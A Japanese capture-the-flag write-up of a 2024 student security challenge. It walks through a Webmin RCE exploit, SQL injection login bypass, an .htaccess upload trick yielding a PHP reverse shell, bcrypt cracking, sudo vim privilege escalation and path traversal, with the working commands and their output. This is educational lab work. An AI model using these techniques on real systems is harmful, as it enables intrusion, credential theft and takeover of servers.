FFRI Security x NFLabs. Cybersecurity Challenge For Students 2024：Writeup

# 概要

2024年09月17日(火) 10:00～2024年09月20日（金）15:00に開催されたセキュリティチャレンジのwriteupです。
書ける範囲で書きます。

https://connpass.com/event/324205/

# Pentest

## WebAdmin

### 問題

> 新人のサーバ管理者がWebサーバを構築していたところ、使っていたアプリケーションと設定に脆弱性があり、サーバを攻撃者に乗っ取られてしまったようです。 セキュリティエンジニアのあなたは、サーバのコピーを作って攻撃者がどのようにサーバを乗っ取ったか再現することにしました。
攻撃者の行動を再現してサーバのroot権限を取得し、/root/root.txt の中に書いてあるフラグを答えてください。

### 解法

ポートスキャンをします。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.0.102.169 -oN nmap_result
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ff:93:52:c8:4f:f3:1c:36:ef:58:a0:28:90:d0:c7:98 (RSA)
|   256 ef:68:b4:09:80:99:29:35:71:e8:c6:65:3d:37:32:42 (ECDSA)
|_  256 19:c2:b1:24:df:85:c4:7d:71:52:e0:d7:40:f9:94:3c (ED25519)
80/tcp    open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to nginx!
10000/tcp open  http    MiniServ 1.920 (Webmin httpd)
|_http-title: Login to Webmin
| http-robots.txt: 1 disallowed entry 
|_/
```

`10000`番ポートで`MiniServ 1.920`が動作していると分かりました。
脆弱性を検索するとexploit-dbでPoCが見つかりました。
実行することで脆弱性があるかを判断してくれます。

https://www.exploit-db.com/exploits/47293

```
$ ./exploit.sh http://10.0.102.169:10000
Testing for RCE (CVE-2019-15107) on http://10.0.102.169:10000: VULNERABLE!
```

脆弱だと結果が出ました。
攻撃には下記PoCを利用しました。

https://github.com/jas502n/CVE-2019-15107

ターゲットマシンのアドレスと実行するコマンドを引数に渡して実行します。

```
$ python2.7 CVE_2019_15107.py http://10.0.102.169:10000 id 

 _______           _______       _______  _______  __     _____       __    _______  __    _______  ______  
(  ____ \|\     /|(  ____ \     / ___   )(  __   )/  \   / ___ \     /  \  (  ____ \/  \  (  __   )/ ___  \ 
| (    \/| )   ( || (    \/     \/   )  || (  )  |\/) ) ( (   ) )    \/) ) | (    \/\/) ) | (  )  |\/   )  )
| |      | |   | || (__             /   )| | /   |  | | ( (___) |      | | | (____    | | | | /   |    /  / 
| |      ( (   ) )|  __)          _/   / | (/ /) |  | |  \____  |      | | (_____ \   | | | (/ /) |   /  /  
| |       \ \_/ / | (            /   _/  |   / | |  | |       ) |      | |       ) )  | | |   / | |  /  /   
| (____/\  \   /  | (____/\     (   (__/\|  (__) |__) (_/\____) )    __) (_/\____) )__) (_|  (__) | /  /    
(_______/   \_/   (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/     
                          (_____)                              (_____)                                      
                                     python By jas502n



vuln_url= http://10.0.102.169:10000/password_change.cgi

Command Result = uid=0(root) gid=0(root) groups=0(root)
```

RCEに成功したので目標の`/root/root.txt`を閲覧してフラグを入手できます。

```
$ python2.7 CVE_2019_15107.py http://10.0.102.169:10000 cat+/root/root.txt

 _______           _______       _______  _______  __     _____       __    _______  __    _______  ______  
(  ____ \|\     /|(  ____ \     / ___   )(  __   )/  \   / ___ \     /  \  (  ____ \/  \  (  __   )/ ___  \ 
| (    \/| )   ( || (    \/     \/   )  || (  )  |\/) ) ( (   ) )    \/) ) | (    \/\/) ) | (  )  |\/   )  )
| |      | |   | || (__             /   )| | /   |  | | ( (___) |      | | | (____    | | | | /   |    /  / 
| |      ( (   ) )|  __)          _/   / | (/ /) |  | |  \____  |      | | (_____ \   | | | (/ /) |   /  /  
| |       \ \_/ / | (            /   _/  |   / | |  | |       ) |      | |       ) )  | | |   / | |  /  /   
| (____/\  \   /  | (____/\     (   (__/\|  (__) |__) (_/\____) )    __) (_/\____) )__) (_|  (__) | /  /    
(_______/   \_/   (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/     
                          (_____)                              (_____)                                      
                                     python By jas502n



vuln_url= http://10.0.102.169:10000/password_change.cgi

Command Result = flag{Expl01t_CVE-2019-15107}
```

## Gallery 1st

### 問題

> 太郎君は写真を撮るのが好きで、自分で作ったサイトで写真を公開しています。 でも、太郎君はセキュリティには少し疎いようです。 サーバの脆弱性を探し、太郎君のサーバをセキュアにするお手伝いをしましょう。
1st missionでは、/var/www/flag1.txt の中に書いてあるフラグを答えてください。

### 解法

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.0.102.67 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 12:ea:c2:a3:82:bb:f1:84:cb:de:c2:82:4e:63:0b:8c (ECDSA)
|_  256 6d:30:b6:1e:67:7b:2a:c8:37:4d:de:87:88:90:91:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: My Gallery
|_http-server-header: Apache/2.4.58 (Ubuntu)
```

`80`にアクセスすると画像が表示されました。

![medium index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/222e8ee3-24b9-e12f-1651-b51373073a89.jpeg)

インデックスページのソースコードから画像は`/uploads/images/`に保存されていると分かりました。

ディレクトリスキャンをします。

```
$ dirsearch -u http://10.0.102.67
[23:59:11] 301 -  307B  - /js  ->  http://10.0.102.67/js/
[23:59:16] 301 -  310B  - /admin  ->  http://10.0.102.67/admin/
[23:59:16] 302 -    0B  - /admin/  ->  login.php
[23:59:17] 302 -    0B  - /admin/index.php  ->  login.php
[23:59:17] 200 -  775B  - /admin/login.php
[23:59:17] 302 -    0B  - /admin/upload.php  ->  login.php
[23:59:26] 301 -  308B  - /css  ->  http://10.0.102.67/css/
[23:59:46] 301 -  312B  - /uploads  ->  http://10.0.102.67/uploads/
```

`/admin`パスを発見しました。
`/admin/login.php`にリダイレクトされ、ログインページが表示されました。

![admin.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e3c942b4-bebf-dafb-5791-fa71f346de4c.jpeg)

SQLインジェクションを試みます。
`' or 1=1;--`のペイロードを送信するとステータスコード`500`が返ってきたのでSQLインジェクションができそうです。

![pentest_medium_sqli 500 error.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e8666f53-5096-12d5-676a-98144516b89c.jpeg)

下記ペイロードリストを使用して攻撃します。

https://github.com/payloadbox/sql-injection-payload-list/blob/master/Intruder/detect/Generic_SQLI.txt

レスポンスが`302`のペイロードを発見したのでログインに使用すると認証をバイパスできました。

![sqli.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f9214fef-40b9-2bbb-f794-8567db1b1f3b.jpeg)

![admin login.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9a025794-1354-12cc-beb2-36d20c174f0f.jpeg)

ファイルアップロード機能があるので試しにテキストファイルをアップロードすると、先ほど発見した`/uploads/images/`にファイルがアップロードされています。

![test text6.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3d34159a-6c12-420f-f7db-49363e158a95.jpeg)

アップロード可能な拡張子を調べ、HackTricksに記載されているテクニックを試しましたが、RCEには繋がりませんでした。

https://book.hacktricks.xyz/pentesting-web/file-upload

拡張子制限回避の手法を調べていると`.htaccess`、`.l33t`を利用した手法を発見しました。

https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

まず、下記`.htaccess`ファイルをアップロードします。

```.htaccess
AddType application/x-httpd-php .l33t
```

次にPHPリバースシェルの拡張子を`.l33t`、`Content-Type`を`Content-Type: application/x-httpd-php`に変更してアップロードします。

![post revshell.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f93db83c-1ef5-3e22-c608-cfc51c4080d1.jpeg)

Netcatでリッスンします。

```
$ nc -lnvp 1234
```

`/uploads/images/exploit1.l33t`にアクセスするとリバースシェルを張れました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.100.234] from (UNKNOWN) [10.0.102.17] 59748
Linux ip-10-0-102-17 6.8.0-1012-aws #13-Ubuntu SMP Mon Jul 15 13:40:27 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 12:27:42 up  1:15,  0 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

TTYを設定します。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`/var/www/flag1.txt`からフラグを入手できます。

```/var/www/flag1.txt
flag{you_exploit_SQLi_and_Uploader}
```

## Gallery (2nd mission)

### 問題

> これは Gallery (1st mission) の続きです。
2nd missionでは、 /root/flag2.txt の中に書いてあるフラグを答えてください。

### 解法

`/home`を確認すると`yamada`アカウントを発見しました。

```
$ ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Aug 23 01:58 .
drwxr-xr-x 22 root   root   4096 Sep 20 11:12 ..
drwxr-x---  5 ubuntu ubuntu 4096 Sep  2 06:25 ubuntu
drwxr-x---  2 yamada yamada 4096 Aug 23 01:58 yamada
```

権限の昇格を試みます。

`/var/www/html/admin/login.php`からMySQLの認証情報を得られました。

```/var/www/html/admin/login.php
// Database connection
$conn = new mysqli('localhost', 'root', 'password', 'test_db');
```

MySQLにログインします。

```
www-data@ip-10-0-102-17:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: password

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 428
Server version: 10.11.8-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

`test_db`の`users`テーブルから`yamada`のパスワードハッシュ値を得られました。

```
MariaDB [test_db]> select * from users;
select * from users;
+----+----------+--------------------------------------------------------------+
| id | username | password                                                     |
+----+----------+--------------------------------------------------------------+
|  1 | admin    | $2y$10$8B9OkwJvPRTbZTcvN0.hueV/EfUeT3v/dp/90VNoqLF5KHZGZ35oe |
|  2 | yamada   | $2y$10$9p7Y8bXPQ71XpNDtutFYS.W/LeacIa29c0UcN2jmJeZCCEk21ibF. |
|  3 | sato     | $2y$10$ue3NZ9IZdC86M7IdTpmw.e0w.VEQeCioyLJtyzTxikE7sk74K8pg6 |
+----+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)
```

`JohnTheRipper`でハッシュ値を解析し、パスワードを得ました。

```
$ john yamada_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
qwertyuiop       (?)
```

`yamada`アカウントにログインします。

```
$ su yamada
su yamada
Password: qwertyuiop

yamada@ip-10-0-102-17:/var/www$
```

`sudo -l`で実行できるプログラムを探すと`/usr/bin/vim`が設定されています。

```
$ sudo -l 
sudo -l
[sudo] password for yamada: qwertyuiop
Matching Defaults entries for yamada on ip-10-0-102-17:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User yamada may run the following commands on ip-10-0-102-17:
    (ALL) /usr/bin/vim
```

GTFOBinsで権限昇格のテクニックが見つかりました。

https://gtfobins.github.io/gtfobins/vim/#shell

実行し、root権限に昇格します。

```
$ sudo vim -c ':!/bin/sh'
:!/bin/sh
# whoami
whoami
root
```

`/root/flag2.txt`からフラグを入手できます。

```/root/flag2.txt
flag{vim_is_useful_for_escalating_privilege}
```

# Web

## Path to Secret

### 問題

> 脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。
ヒント： サーバのファイル名はserver.pyです。

### 解法

問題サーバーにアクセスします。

![easy path index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0410b39b-f469-3e10-f5e7-78bc7382c2d2.jpeg)

アカウントを登録し、ログインするとテキストファイルをダウンロードできます。

![text download.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e8b7862a-929c-3fe5-0331-00396d76f51d.jpeg)

`?file=`でファイル名を指定しているのでヒントにある`server.py`を読み込めないか試みます。

`/download?file=../server.py`にアクセスすることでパストラバーサルの脆弱性を悪用してソースコードを表示できました。

![server py.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/16cdfe85-222d-bbd1-fb42-2c616260917f.jpeg)

ソースコードを見ると`SECRET_KEY`はOSの環境変数から取得しているようです。
OS環境変数の値は`/proc/self/environ`からも取得できます。

https://qiita.com/kk0128/items/4640d2030a916b7b1327

`/download?file=/proc/self/environ`にアクセスしするとフラグを入手できます。

![easy path flag.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/49390253-4ead-0bac-7347-b6988402771b.jpeg)